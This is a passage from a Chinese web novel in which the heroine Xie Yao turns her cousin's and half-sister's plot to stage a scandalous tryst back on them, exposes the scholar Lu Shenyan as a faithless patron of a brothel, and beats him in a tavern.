在家中,她是庶女,在谢家,她又是妾室,她的女儿也是庶出,她忍了这么多年,实在不想忍了。 现在,有一条新的路就摆在她眼前,她怎能不激动! 孙药令摸着胡子,也笑起来:“脉把了,老夫多了个外孙,可算有件喜事。” 孙姨娘猛地抓住自己爹的手:“父亲,男孩的事你先为女儿保密,等到适当的时候,女儿自然会告诉伯爷。” 孙药令:“你未免太过小心……行,为父不会去乱说。” 他见女儿还沉浸在喜悦中,没再多留:“尚药局事务繁忙,老夫先回去了,你安心养胎。” 他去到一趟谢明安的书斋,没有和谢明安说女儿怀孕的事,只是交代些别的事,就离开了伯府。 房间内,刘嬷嬷悄悄望着自家姨娘。 自从老药令走后,姨娘的神情一会儿激动,一会儿沉重。 孙姨娘想到二房家的嫡子,想到谢枝,想到伯爷,谢窈,最后想到…… “你是嫡女又如何,等你嫁出去,我生下孩子,就是谢家正夫人!” 孙姨娘的内心,谢窈无从知晓,也不屑返回去偷听。 看见孙药令来谢家,她就能猜出个七七八八——无非是来诊治孙姨娘腹中胎儿是男是女。 王管事都说了,孙姨娘已经从娘家寻来毒药,准备毒死自己。 这次确定自己要生儿子后,应该能对她下手了吧。 她正等着呢。 两人走出一段路,谢窈让忍冬骑上青骢马。 “二小姐,这是为何?”忍冬疑惑地问。 她是边军中的军医,随军打仗是会骑马的,但算不上很好。 谢窈余光瞥见自己后方。 从她们走出文昌伯府开始,身后就遥遥跟着一个尾巴。 她眯起眸子,忽然正色,声音冷冽: “大燕健妇营八品军医官,林忍冬听令!” 只有经历过战争才有的铁血煞气,显现出来。 忍冬立即收敛了脸上的嬉笑,变得无比严肃。 这一刻,二小姐是少将军,而她是少将军麾下军医官,少将军说的话,是军令! “卑职在!”忍冬在马背上拱手,行以军礼。 下一刻,谢窈粲然一笑。 “回京这么些天了,你替我,去京畿营看望咱们的好兄弟吧。” 她低声说出一个名字。 忍冬领了命令,策马直奔驻扎在京城以西的京畿大营。 原本跟踪谢窈和忍冬的人,远远地听不清她们在说什么,看见忍冬跑了,咬了咬牙,还是选择跟在谢窈身后。 那毕竟只是个侍女,眼前这个才是正主。 最重要的是…… 他也追不上骑马的忍冬啊。 谢窈悠闲地走到南街,先去买了几盒胭脂水粉,又看上两支玉钗,最后来到一家成衣铺,买上几身新裙子。 跟踪她的人见她一直买女儿家的金银首饰,若有所思。 谢窈再往南街里面走,好像不知疲惫。 跟踪人已经跟了快两个时辰,累得腿酸脚麻,一不留神,忽然找不到谢窈人了。 他只能从角落里跑出来,沿街一家家店铺地找。 半个时辰后,跟踪人站在南街最里面的醉雪楼门口,喘着粗气,他已经在南街来回找俩圈了,还是没看见二小姐。 醉雪楼,是一家青楼,往来人士络绎不绝。 他暗道,二小姐会武功,他跟丢了也很合理,想必主子不会怪罪自己。 至于二小姐究竟去了哪儿,无非是又去买些琐碎首饰。 反正,她不可能去眼前的青楼吧。 又找一圈无果后,他回到伯府。 跟踪谢窈的人,是谢成榆身边的小厮,但他复命的对象,却是谢枝。 “胭脂水粉,玉簪新衣?” 谢枝得知谢窈出门买了这些东西,不禁心思微动。 堂兄谢成榆坐在她旁边,摸了摸下巴:“看来,窈儿妹妹还真看上了我那同窗啊。” 昨天,曾经做过几年同窗的陆慎言求到他那里,请他给谢窈送一封信。 谢成榆知道陆慎言的底细,此人是京中有名的才子儒生,但家境贫寒,不值一提。 他应下后,拿到信就自行拆开看了一遍。 信上,写满陆慎言对自己堂妹谢窈的海誓山盟,还邀她两日后去花楼品茶。 没想到自己这多年不见的二妹妹如此有魅力,刚回京,就勾搭上了陆慎言。 谢成榆去送信时,被谢枝意外看见,他就把事情告诉了谢枝。 信已送出,谢窈若赴约,便是与外男幽会,名声定然会跌至谷底。 即便她没去,他也会派人传出些流言蜚语,谢窈敢在家宴中让他受辱,还作贱枝枝,就该让她吃点苦头! 谢枝装作刚反应过来:“二妹妹一看见堂兄送去的信,就忙着出门,又是梳妆打扮,又是买新衣裳,女为悦己者容,堂兄说的没错,二妹妹肯定是心仪陆公子!” 谢成榆一脸厌恶:“小小年纪,如此水性杨花,不安于室,真是丢我谢家的人!” “那位陆公子品貌非凡,在京中也素有才名,又是二妹妹幼年玩伴,二妹妹喜欢他,也情有可原。”谢枝故意替谢窈说话。 “唉,若是让我嫁给靖北王,我也是不愿意的。” “一个乡野村妇都不如的女人,怎么配跟你比。” 谢成榆冷声说道:“她要是真敢去幽会,我就带人,亲自抓个现行。” 谢枝连忙说:“大哥,二妹妹毕竟是我们的妹妹,她如果真的有了心仪之人,我们理应成全。” 谢成榆扬起嘴角,眼底闪过一道精光:“既然她那么喜欢陆慎言,我这个做大哥的,是该帮帮妹妹。” “就是不知道,如果靖北王知晓了此事,会不会成全呢。” 第37章 将计就计,谁才是私会之人? 谢枝仿佛听不懂谢成榆话语中的深意,单纯地说: “虽然二妹妹与靖北王是陛下赐婚,但君子有成人之美,如果靖北王知道二妹妹已心有所属,一定会成全她的。” 她红唇扬起笑容,似乎在为谢窈高兴。 谢枝已经能想象出那情景了,靖北王亲眼看见,自己的准王妃,竟然和别的男人品茶私会,到时候…… 谢窈即便不死,也得脱一层皮! 若靖北王真的成人之美了,那她就得嫁给一个无权无势的穷酸书生,这辈子,都会被自己踩在脚下。 嫡女如何,庶女又如何,等自己入宫为妃,谢窈注定只能在自己面前俯首称臣。 哪怕谢窈凭巧嘴开脱,或者靖北王不敢违背圣旨,还是娶了她,那一幕也会深深地,永远地印刻在靖北王脑海里。 一个男人,如何能忍受这样的奇耻大辱。 等谢窈婚后,还有一天好日子过吗? 谢成榆也笑了,道:“放心,我会派人去告诉靖北王,让他自己决定,到底原不原谅窈儿妹妹。” 他盯着眼前秀丽动人的谢枝,同样心有算计。 谢窈肯定不会真和陆慎言青天白日做什么,到时他带人“捉奸”,按死两人是在私会。 让靖北王看见后,谢窈固然丢尽谢家脸面,谢枝作为她的庶姐,名声也会受到牵连。 那他未必没有可能…… 至于靖北王会不会迁怒谢家,谢成榆不了解靖北王,可他了解男人。 这种事,靖北王肯定会故作宽容,甚至会将事情主动压下去。 退一万步讲,也是谢窈和大伯一家被皇上责怪,和他这个二房嫡子又有什么关系? 他是巧遇二妹妹与人私会,怒斥其以正家风而已。 当日,直到夕阳尽落,谢窈才回到伯府。 不知为何,她身上并没有那些买来的胭脂首饰。 暗中守在门口,监视她的小厮将此事告诉了谢成榆。 “她毕竟是待嫁的王妃,就算要私会情郎,也不敢在我们面前显现出来。” “呵呵,可惜谢窈不知道,她的一举一动,早已在本校尉的注视之下。” 谢成榆语气不屑,摸出一枚令牌,交给小厮。 “你持此令去京畿大营,找到本校尉麾下曲长李三,让他替本校尉给靖北王传个消息,再叫出几个人来,明日陪本校尉,去花楼品茶。” 京畿大营一共有五万将士,正六品校尉,仅在京畿营的统领虎贲将军和两名偏将军之下。 谢成榆这个年纪就做到校尉的军职,假以时日一定前途无量,所以平日里,他身边的曲长亲兵,都对他马首是瞻。 小厮连夜出府,赶往京畿营。 让他惊讶的是,他离开伯府的时候,之前被谢窈派出去骑马,试图引开他跟踪的丫鬟正好回来,两人擦肩而过。 直到半夜三更,小厮才回到伯府,告诉谢成榆事已办妥。 次日。 许素素这几天日夜做工,用靖北王送的料子,给女儿做了一身新衣裳,让桑若拿去给谢窈。 桑若把衣服放下,故作冷漠:“夫人说了,这是她闲来无事随便做的,尺寸错了,二小姐若不嫌弃,就拿去穿吧。” “不嫌弃不嫌弃,”谢窈抱住,“嘿嘿,我又有母亲做的新衣服穿啦?” 她换上新衣,这次是绛色短襦配玄色缚袴,窄袖及肘,腰间束着玉带,勾勒出利落腰身,十分合身。 再配上朱红发带,衬得谢窈眉眼清锐,又掩不住周身昭华,让桑若面露惊艳。 她故意穿着去母亲窗前:“母亲特意给我做的新衣裳,诶,好合身呢。” 许素素默默合窗,淡声道:“都说了,我是闲来无事,打发时间做的。” 谢窈:“多谢母亲闲来无事,打发时间特意给我做的衣服。” 许素素:“……” 临近晌午,谢窈才和忍冬一同出府。 这次,她离开伯府,就耳语交代了忍冬一些事。 “奴婢明白了。”忍冬点点头。 “去吧。” 谢窈仍旧让她骑马先走,自己坐着伯府的马车,往云鹤楼走。 堂兄,陆慎言,哦对,还有大姐姐,戏台已经搭好,好戏,就要开始了。 花楼内,谢枝和谢成榆坐在一处不显眼的角落里,焦急地等待着。 时辰快到了,陆慎言或者谢窈,怎么一个都没来? 靖北王也没有出现。 他用眼神询问李三,李三连忙道:“校尉,属下真的派人,将谢窈与人私会的事传到靖北王府了啊。” 花楼,其实并不是单纯的一座楼,而是京城有名的茶楼。 取名花楼有两个含义,一是春日可以登楼看百花盛开,二是这里总有许多年轻男女的品茶约会,互送香囊,从而私定终身,香囊气味芬芳如花,所以是花楼。 当然了,虽然燕国民风开放,男女有情,私下约会并无不可,但大户人家的贵女们,做不出这般抛头露面的事。 前世,陆慎言把地方定在这里,哪怕他和谢窈真的在花楼品茶,传出去,别人也会认为他们有私情。 更何况,当时还有谢窈的堂兄与庶姐见证。 谢成榆和谢枝不知道的是,谢窈早就提前给陆慎言传信,把花楼改成了云鹤酒楼。 就在谢成榆喝到第三壶茶,等得快不耐烦的时候,一名书童急匆匆赶来。 书童在花楼寻找了一圈,跑到谢成榆身旁:“谢校尉,小人是陆家书童,我家少爷让我告诉您,谢窈将见面地点改到了云鹤楼,少爷说,希望您快点过去。” “什么?改了地方?他怎么不早说!” 书童:“我家少爷也是昨天才知道,寻不到见谢校尉的机会,只好让小人现在来这里传口信。” “这个谢窈,倒是小心谨慎,”谢成榆皱起眉,“罢了,本校尉就帮陆慎言一把,兄弟们,走,跟我去云鹤楼看戏。” 谢枝也犹豫地站起身:“大哥,那我……” 谢成榆吩咐手下:“去给枝枝备一辆马车,等会儿,枝枝就装作与我在云鹤楼巧遇。” 谢枝点了点头:“还是大哥想得周全。” 正当他们要迈出花楼的时候,一阵马蹄声由远及近传来。 忍冬骑着马,出现在花楼门口的街道上。 “诶?这不是枝大小姐和成榆少爷吗,你们怎么在花楼喝茶啊?” 看到他们之后,忍冬大声喊道。 怕别人听不到,她又指着谢枝腰间的香囊,惊呼:“大小姐,您怎么收了成榆少爷的香囊啊?难道,你们已经私定终身了吗!” 谢成榆,谢枝:…… 第38章 让渣男滚,王爷又见面了 花楼,是京中一座极其特殊的茶楼。 在这里喝茶的,都是有情且大胆的人。 经常有穷酸书生壮着胆子,与士族贵女在花楼私定终身,被知道后,女方士族若是要些脸面,只能乖乖让女儿嫁过去。 若是实在看不上对方家世,又想保全名声的,则会花下大价钱,把消息堵住买断,再将自家女儿草草嫁给别人。 所以一直以来,来花楼的除了约会男女,最多的,就是游手好闲,指望着买卖消息的京城懒汉。 忍冬这一嗓子之后,所有人,都看向了谢枝和谢成榆。 他们两人原本是来花楼“捉奸”陆慎言和谢窈的,进去后一直很低调,身边还跟着几名谢成榆的手下,都身穿军中软甲,即便有人注意,别人也不敢打他们的主意。 没想到临走了,居然被忍冬认了出来! 谢枝立即和谢成榆拉开距离,摘下自己腰间佩戴的香囊。 “忍冬姑娘,这香囊是我自己佩戴的,何况,我和大哥只是来花楼品茶,绝无半点私情,你可不要胡说!” 听到她的话,周围的人更加激动起来。 女方叫出了骑马女子的名字,也就是说,骑马女子没有说错! 她还摘下了香囊,分明是心虚之举! 谢枝自知做错,脸颊白了几分。 忍冬还骑在马上,扬声道:“虽然您是成榆少爷的堂妹,有些……但若是两情相悦,违背伦理又有何不可?大小姐,您就别羞涩了。” 这下,在花楼喝茶的,路边的百姓,全都围上前来。 “大小姐?成榆少爷?莫非他们二人,是文昌伯之女谢枝,还有伯府二房家的谢成榆?” “一个是京中才女,一个是青年才俊,确实般配。” “可他们不是堂兄妹吗,怎么会一起出现在花楼?” “这你就不懂了吧,正因为是堂兄妹,违背伦理纲常,才在这里私定终身啊!” 谢成榆听到那些议论,脸色黑沉,蓦地拔出佩剑。 “贱婢,敢胡说八道,本校尉杀了你!”他怒不可遏道。 忍冬策马后退了几步,露出畏惧的神情:“成榆少爷是想当街杀奴婢灭口吗?奴婢好害怕啊。” 说完,她毫不犹豫地一拍马腹,越过了众人,绝尘而去! 二小姐提前跟她说了,大喊两句就跑,其他的,交给这些看热闹的路人。 谢成榆只能看着忍冬离开,想追,这里人太多,就算骑马也来不及,而且他也不能真的当街杀人。 他努力平息怒火,理智尚在,对着那些围观的人抱拳。 “我乃京畿大营六品校尉谢成榆,今日与堂妹谢枝在花楼品茶,举止分寸,坦坦荡荡,还望诸位不要听信那贱婢胡言,平白污了枝枝清白。” 其他人还想继续看热闹,但见到谢成榆自爆身份,配着军中刀剑,身后还跟有几名军中将士,只能不太甘心地散了。 等回头,他们就去文昌伯府,找找这位谢枝大小姐的爹娘,再找找这位谢家二房大少爷的爹娘。 谢成榆对谢枝开口:“枝枝,你先回府吧,我还有要事——” 他脸色铁青,一字一顿:“敢算计我,就要……付、出、代、价!” 谢窈这个贱人,故意改了与陆慎言见面的地点,使得在花楼品茶的男女,从她和陆慎言,变成了自己和谢枝。 她居然还派了心腹丫鬟,当街指认他们! “那枝枝就先回府,静候大哥佳音了。” 谢枝还维持着自己温婉才女的模样,不敢再在这里逗留,连忙坐上了马车。 谢成榆骑上手下牵来的京畿营战马,直奔云鹤楼。 路上,他冷静下来,嘴角咧开一抹冰冷的笑。 就算谢窈算计成功了,又如何。 且不说他和谢枝是堂兄妹的关系,并未做什么,自然可以解释。 就是他们真做什么被发觉,谢枝名声尽毁,他却是军中年轻才俊,也正好让大伯把谢枝许配给自己! 不,堂妹和自己在一起,说出去毕竟不好听,他可以纳她为妾,也算全了她一直等着自己,不肯出嫁的情分。 至于谢窈,等他到了云鹤楼,他就会让这个女人知道,在绝对的实力面前,假的,也会变成真的! 谢窈正坐在酒楼内一张靠窗的饭桌上。 她嗑着酒楼赠送的一小碟瓜子,似乎在等待着谁。 算算时间,忍冬现在已经见到她的堂兄庶姐了。 前世,他们二人指认她和陆慎言私会,却让别人忽略了一件事:他们也违背了男女大防,形影不离地出现在一起。 被人平白污蔑的滋味如何呢?谢窈唇角浮现一抹淡淡的笑容。 这只是个开始,她还给堂兄,准备了一件大礼呢。 此刻,酒楼内人来人往,谢窈容貌出众,吸引了许多注视的目光。 有人暗中猜测她是谁家的大小姐,是丞相府江家的,将门苏家的,还是文昌伯府谢家的? 陆慎言走进来,一眼就看见谢窈。 他双眼霎时一亮,带着难以置信的惊艳,喉咙微微滚动。 这是之前那个穿着破烂布衣,还提着一把长刀,浑身缺点的谢窈? 这副容貌,分明胜过他见过的所有女子。 陆慎言心想,即便不为了她的身份,也不为许家的嫁妆,他也心甘情愿娶她。 上次谈得不愉快,他反思了良多,打算此次更温柔一些。 陆慎言向着谢窈走去。 他今日仍旧一袭青衫,玉冠墨发,斯文儒雅,薄唇带着轻柔笑意。 他对自己的皮囊,一向自信。 走近后,见谢窈不看自己,而是面露羞涩地望着窗外,他彻底定下心来。 陆慎言扫了一圈,没见到谢成榆。 也罢,让谢成榆来逼迫本就是无奈之举,只要谢窈心里有自己,别人来不来,又有什么关系呢。 何况云鹤楼这么多人,自己也不是无名之辈,有他们给他作见证。 陆慎言整了整衣衫,坐到对面,轻声道:“窈儿,久等了,你还是来了。” 谢窈这才转头,冷冷地吐出一个字:“滚。” “啊?”陆慎言呆住。 此刻,云鹤楼二楼的天字一号包厢内,箫熠之正坐在轮椅上。 和之前在谢家后宅,看见陆慎言和谢窈对话那次相比,这回的靖北王,神情格外平静。 一回生,两回熟,不就是王妃和别的男人见面吗,他一点也不生气。 白蔹跟在箫熠之身后,再次紧张万分。 尤其是看见谢二小姐等的人,真的是陆慎言后,他心都提起来了。 谢二小姐怎么又在私会野男人? 怎么野男人又是陆慎言? 怎么又被自家王爷撞上了? 怎么陪在王爷身边的人,又是自己? 白蔹脑海里无数问题翻来覆去,直到听见谢窈一声清脆的“滚”字,他浑身一懈。 他忽然觉得,谢二小姐的声音,真好听! 第39章 王爷二楼看戏,渣男名声尽毁 白蔹看一会儿楼下的谢窈,又看一会儿身边的王爷,感觉自己才是最难的那个。 他和王爷,还真不是故意来找谢二小姐的。 今天一大早,王府里一名洒扫小厮忽然求见王爷,说有要事禀报。 小厮说他有亲戚在文昌伯府当差,意外得知,谢二小姐明天要在花楼与人私会! 他说得有鼻子有眼,还道王爷如果不信,到时候一去便知。 王爷听完,笑了笑。 笑得让人瘆得慌。 然后王爷就下令,把小厮乱棍打残,再丢去后山喂狼。 随后,王爷忽然决定出府。 白蔹都以为王爷是要去花楼一探究竟了,很是焦虑,恨不得自己偷偷去通知谢二小姐:甭管您是不是要去私会,今天都别去了。 没想到,王爷只是来到云鹤楼——吃饭。 谁承想好巧不巧,饭菜还没上齐呢,他们就看见谢二小姐了。 还没等白蔹庆幸,推着王爷下楼去打个招呼,心,又提了起来。 庆幸的是,谢二小姐出现在这里,证明小厮说的是假的。 心提起来则是因为,谢二小姐独自坐在窗边,很显然,是在等人。 不多时,陆慎言就到了。 不过现在,陆慎言可以走了。 箫熠之静静地望着楼下,忽略了其他人,目光只落在谢窈身上。 她换了身绯红的衣裳,独自坐在窗边,光彩照人。 还有条坠在脑后的朱红发带,束着浓密乌发,衬得她唇红齿白。 靖北王的指尖轻颤,他很想知道,如果扯开谢窈的发带,会是什么样子。 他端起一盏清茶,轻呷,看戏,听见她说滚,唇角微微上扬。 而陆慎言已经懵了。 他怀疑自己耳朵出了毛病,否则,怎么听到谢窈让自己……滚? “滚!” 谢窈又重复一遍。 “窈儿,我刚刚没听清,你,你说什么?”陆慎言震惊地问。 谢窈:“……” 她不想再说第三遍了。 陆慎言定了定神,脸上挤出笑容:“不是你约我来的吗,你坐在这儿,不是在等人吗?” 谢窈点头:“我是在等人。” 陆慎言松了一口气:“上次是我不对,我不该说你贪慕虚荣,我只是心疼你——” 他一句话还没说完,就被谢窈打断:“但不是等你。” 陆慎言很想再次“啊”一声,问她在等谁。 很快,他不用问了。 因为谢窈等的人,来了。 是个女子,容貌灵秀,身穿墨绿绣兰花的襦裙,梳着精致的发髻,身姿似弱柳扶风。 陆慎言愣怔的时候,女子摇动着腰肢,走到他和谢窈面前。 “你是什么人?”陆慎言感觉这个女子有些眼熟,皱眉问道。 女子呼吸一窒,反问:“我是什么人,你不认识?” 说完,她端起桌上的茶水,一抬手,狠狠泼到陆慎言脸上! “陆郎,奴家在醉雪楼等了你两年,今日见面不相识,方知你负我至此!”她大声哭诉。 陆慎言差点要发出惨叫,才意识到女子泼的是温茶。 他头顶挂着两片茶叶,脑子一懵,脱口而出:“蒲,蒲苇?怎么是你!” 这个女人,不是自己在醉雪楼相识的蒲苇吗! 刚说出这句话,陆慎言就意识到自己失了言,他就算想起来,也不应该当众叫出蒲苇的名字啊。 果不其然,原本见谢窈和陆慎言郎才女貌,暗暗观察的食客们,见陆慎言认识绿裙女子,顿时眼神复杂起来。 女子自称在醉雪楼等了他两年,而醉雪楼,可是京城的几大青楼之一啊。 很快,有人认出了陆慎言。 “这不是咱们的陆才子吗,慎言兄,你从何处背的情债啊?”一名书生调侃道。 “你们可不要乱说,陆兄高洁,怎会认识青楼女子呢。” “陆兄平时路过醉雪楼,可都是绕着走的,没想到啊,人家是有相好,可以走后门。” 陆慎言没空理这些人,因为蒲苇已经扑了上来,乱拳砸在他胸口,咬牙切齿地控诉。 “陆郎,当初奴家心悦与你,你来醉雪楼,奴家不但不收酒钱,还将自己的体己钱都送给你……你现在怎能装不认识奴家,你忘记我们的海誓山盟,忘记你说好了要替奴家赎身了吗!” 陆慎言回过神,一把推开蒲苇:“你胡说!陆某一向洁身自好,怎么可能去那等风月场所!” 谢窈眼神一凛,抬起手,扶住差点被他推倒的蒲苇。 “既然不去,为何你知道她叫蒲苇?” “谢窈,你听我解释,我认识她,是两年前别人邀我去醉雪楼,但我只去了那一次,见过她一面而已。” 陆慎言脸色挤出笑容,强装镇定。 他望着谢窈,眼中满是深情:“窈儿,你信我,我真的与她毫无瓜葛。” “一面而已?你分明是看上了别人,就把奴家抛之脑后……即便如此,我也认了,可你居然说你我只是一面而已!”蒲苇摇了摇头,声音哽咽。 “谢窈?她就是被谢家送去健妇营谢二小姐?” “真是知人知面不知心,这陆慎言整日吹嘘自己如何孤高,原来是个背地里逛青楼的负心汉。” “喂,陆兄,我大燕男儿敢作敢当,你若真的曾经和蒲苇姑娘海誓山盟,那就承认了吧,又不是什么见不得人的事!” 此刻是正午人最多的时候,云鹤楼又是京中最出名的酒楼,很快就被看热闹的人围得水泄不通,众人对着陆慎言七嘴八舌,还有人兴奋地朝他喊话。 京城很多文人都认识陆慎言,这都多亏了他平时苦心经营的好名声。 陆慎言恼羞成怒:“闭嘴,她就是一个烟花女子,言语断不可信!” 蒲苇惨笑一声,彻底看透了他。 她从袖中取出一方手帕,当众打开! 里面,是三四封诗词信纸,信上署着陆慎言的名字,还有一支成色寻常的玉钗。 “陆郎,都说表子无情,戏子无义,可你给我写的信我至今都留着,你之前还说我是你一生知己,怎么今日,我就成了攀诬你的烟花女子?” 她通红着眼睛,眼泪如雨落下,让人动容。 “陆慎言,你好狠的心。” 陆慎言看见那些信纸和玉钗,面色骤变。 以前,他确实给蒲苇写过几篇情诗,好像也送给过她一个玉钗,还承诺日后替她赎身,纳她为妾。 但那只是他的酒后戏言。 谁能想到,她居然还留着那些诗信? 他家境寻常,努力奔走才给自己挣了个京城才子的名声,所以平日最为爱惜羽毛,即便是去青楼,也都隐藏身份,暗中前往。 何况,自从母亲让他求娶谢窈,他已经两个月没去醉雪楼了,所以一开始才没有认出蒲苇。 为什么今天,蒲苇会出现在这里?! 第40章 一刀,打碎渣男满嘴牙! 蒲苇为什么会出现在这里? 蒲苇为什么不能出现在这里呢?谢窈想问。 上一世,她初见蒲苇,是自己刚和陆慎言定亲时。 一个女子,悄悄叩开她的门。 她说她叫蒲苇,是陆慎言在醉雪楼的相好,怕谢窈不信,她拿出一封泛黄写着情诗的信纸,上面是陆慎言的字迹。 蒲苇又说,陆慎言已经许久不去醉雪楼,她只是想来看看,她把体己钱都给了的男子,最后娶的人是什么样子。 “既然你曾经将体己钱给了陆慎言,我与他即将成亲,夫妻本为一体,那这笔钱,我替他还你。” 谢窈看出蒲苇眼里的贪财,于是取了八两碎银送给她:“我现在只有这些,不知道够不够?若是不够,我过几日再凑一凑。” “多谢姑娘,已经足够了,”蒲苇收下银钱,对她深深一拜,“蒲苇祝您与陆郎新婚之喜,琴瑟和鸣。” 而她第二次,也是最后见到蒲苇,是在庄子里。 那日,陆慎言带来一个被折磨的浑身鞭伤,奄奄一息的女子。 他冷笑着对她说,这个青楼女子妄图勾引他,于是他替她赎身,遂了她的心愿。 谢窈认出蒲苇,她想救她,却无能为力。 蒲苇在她面前抬起手,竖起食指与拇指,轻轻地摇头。 没等谢窈明白她的意思,她颤抖地站起来,用最后的力气撞向墙角! 到死,她也没有说出一句话。 她用自己的死,全了谢窈那八两银子的恩情,同时提醒谢窈,陆慎言不仅虚伪,更是内心扭曲癫狂。 当初,她救不了蒲苇。 后来,她也成了蒲苇。 而现在,她替蒲苇报仇,也就是替自己复仇! 谢窈坐在座椅上,听着蒲苇声泪俱下地控诉陆慎言,仿佛看见了前世那个有些贪财,却卑微善良的影子。 她知道,因为一副皮相,陆慎言的名声极好,哪怕还没考中进士,也深受京城许多女子喜爱。 当今朝中的户部侍郎裴隽,同样家境贫寒,却被称为大燕第一才子,后来考中状元后一路高升,仕途顺畅。 而陆慎言如此经营自己的名声,就是为了向上爬,复刻裴侍郎的仕途道路。 现在,全毁了。 他和青楼女子纠葛不清,还不承认,逼得人家拿出证据,哪里是君子所为? 蒲苇又大声道:“是,我们每次见面都偷偷摸摸,所以没人看见,因为你说你来醉雪楼有碍名声,所以还要奴家替你遮掩,可是你……你一次都不付钱!” 围观百姓哄堂大笑。 陆慎言的面色已经黑如锅底,蓦地,他看向谢窈。 “谢窈!是你,你不想嫁给靖北王,想勾引我为你抗旨不成,怕我将来发达,故意害我!” 他抱拳举过头顶,嘶吼道:“我陆慎言顶天立地,坦坦荡荡,不做不义之举,也绝不任由人污蔑!” 听到他这话,原本相信蒲苇的百姓们,悄声议论起来。 “陆慎言说得不无道理,谁会愿意嫁给靖北王呢,难不成,真是谢二小姐勾引他不成,就找人污陆公子名声?” “陆兄人品斐然,倒是谢二小姐此前殴打谢府下人,伤了谢伯爷,实在粗野无礼啊。” “蒲苇毕竟是青楼女子,言语断不可信。” 蒲苇见有人质疑,抹了一把眼泪,高举起手中的信纸:“诸位,这是陆慎言之前写的信,证物在此,奴家绝无半句虚言!” 陆慎言瞪着她,忽然扯过信纸,三两下就将其撕得粉碎。 “不知廉耻的贱人!我当年看你可怜,施舍给你几两银子,如今,你竟敢伙同谢窈,拿这些废纸污我清名!” 他破口大骂。 谢窈淡漠的表情,忽然变得冰冷。 “还有这个女人!”陆慎言双目阴沉。 若是现在,他还抱着能娶谢窈的想法,那他也太蠢了。 她分明是在耍他!既然如此,就别怪他不留情面! 陆慎言忽然收敛了愤怒的神情,冷静地说:“昨日午后,谢窈让自己的亲信小厮来给我传信,要我来此与她见面,诸位若不信,抓住那名小厮询问,就知我所言非虚!” 他一脸厌恶:“我不过是看在幼时玩伴的份上,又见你要嫁给一个残废王爷,才心生怜悯赴约,竟然被你算计。如今看来,谢窈,你真是活该嫁给那个废人,就算你是伯府千金,我也不稀罕。” 谢窈蓦地站起身。 整个云鹤楼,也忽然静了下来。 陆慎言拧起眉头,不知道自己哪句话说错了。 他想起小时候,谢窈要揍他和棠柳巷其他人的时候,就是这幅样子。 不过,今时不同往日,她只是个柔弱女人—— 下一刻,谢窈挥动长刀。 一刀,捅进了陆慎言的嘴里! 她的刀没有刀鞘,但缠着麻布,所以被捅后,陆慎言嘴一时之间还好好的。 直到谢窈上前一步,狠狠拧动刀身,将长刀在他口中一转—— “啊啊啊啊——唔——!” 陆慎言不可思议地瞪大双眼,发出杀猪般的叫声,嘴角涌出血水与涎液。 众目睽睽之下,她怎么…… “你怎敢,你怎敢……” 陆慎言嘶吼地喊,谢窈顺势拔出刀,一刀背卡在他的膝盖关节处,用力反别,顺势擦掉了刀上沾染的污秽。 “咔嚓!” “啊啊啊!呕!” 她又是一脚,踹到他身上:“我为什么不敢?” 陆慎言叫得更惨,跪在地上,疼得浑身抽搐。 他捶胸干呕,哇的一下,从嘴里吐出两颗被刀撬掉的牙齿。 他看见那两颗牙,先是愣住,意识到这是什么后,目眦欲裂:“我的牙,谢窈,我跟你——” 没等陆慎言说出“拼了”二字,谢窈单手扣住他的手腕,干脆一掰。 这次,陆慎言倒在地上,身体蜷成一只虾,连叫的力气都没了。 “你……为……什么……”他喘息着,不敢置信地问。 谢窈轻舒一口气,抬起脚,踩在陆慎言的头上,像踩一条死狗。 “你在骂谁贱人?” 她问,顺便又用力碾动,把他的发冠踩碎。 “又在说谁残废?嗯?” 谢窈居高临下地睨视着陆慎言,声音很轻,很轻。 第41章 王爷功劳,堂兄像是傻子 陆慎言瘫软在地上,嘴角还在流血,沙哑着嗓子哼唧个不停。 他这时才意识到,自己居然一时失言,当众说靖北王是个废人。 谢窈抓住了这句话,借势对他出手,他根本无法辩驳。 这个恶毒的女人,他真是疯了,才会来这里赴约。 敢在京城酒楼看热闹的,都是些不嫌事大之人,看到这样血腥的场景,居然没有人害怕。 只不过,有文人见到谢窈如此粗暴,还是摇了摇头。 这位谢二小姐,真是和传闻一样,没有半点规矩,简直不像女子。 倒是和靖北王很配。 还有人看着陆慎言的惨状,心生可怜,劝道:“谢二小姐收手吧,哪有姑娘家对别人下这么重的手,传出去像什么样子?” “是啊,女子以柔为贵,谢二小姐这样,未免太……没有规矩。” “二小姐如此行事,有悖妇德,将来怎么嫁入王府?” 谢窈这才抬起头,看向众人。 “蒲苇姑娘已经被良人赎身,与寻常女子无异,而陆慎言不但昔日收取佳人钱财,辜负佳人,还忘恩负义,我实在忍无可忍,便路见不平,诸位可有异议?” 她撑着刀柄,清越的声音不高不低,传遍云鹤楼。 没有人说话了。 谢窈再道:“我大燕靖北王,平定乱党,守护京城百姓安稳,大破西戎王庭,收复虎啸关……桩桩件件,功过自在人心,王爷即便身有残疾,也不该遭受小人侮辱。” “诸位以为,我该不该打碎他满嘴牙,让他知道辱骂王爷的下场!” “至于我谢窈究竟如何有悖妇德,我以为,靖北王是不会介意的。” 人群再次安静下来,看向陆慎言的眼神,多了几分厌恶。 燕国尚武,尊崇有功之臣。 以前,京中百姓人云亦云,只认为靖北王暴虐冷酷。 经过谢窈的提醒,他们才恍然想起来,靖北王战功赫赫,整个大燕,也只有镇守北境的骁骑大将军能与他相较。 纵然他声名狼藉,让百姓恐惧,也不能抹灭他的功绩,更不应被人肆意侮辱。 “该!” 之前亲热地喊“陆兄”的书生,对着陆慎言狠狠啐了一口。 “此人道貌岸然,我今日与他割袍断义!” “这种负心汉,就该被谢二小姐打,活该!二小姐威武啊。” “谢二小姐说得对,王爷为我大燕劳苦功高,又不像那些贪官污吏般鱼肉百姓,他平时喜欢杀点人怎么了,杀的都是反贼!” “要不是王爷平定五贼乱党,咱们都要被乱党屠戮了,王爷是京城百姓的救命恩人啊。” “我呸,陆慎言算什么东西,居然敢骂王爷。” 一时之间,这些昔日恐惧靖北王,或者暗骂靖北王的人,居然倒戈相向,全都说起了靖北王的好。 二楼包厢内,箫熠之望着楼下的情景,面容一如既往的淡漠,胸膛却激烈地跳动着。 白蔹的眼眶酸涩潮湿,胸口像是吞了一把沙子,磨得他喉咙颤抖。 他忍不住说:“王爷,您听见了吗,那些百姓都知道您的功绩。” 王爷,已经苦太久了。 白蔹还记得,很多年前,王爷还是靖北侯世子的时候,也曾意气风发,是京中最桀骜,最明亮的少年郎。 后来,老靖北侯与西戎王庭大战,却被流箭击中,死在回京路上。 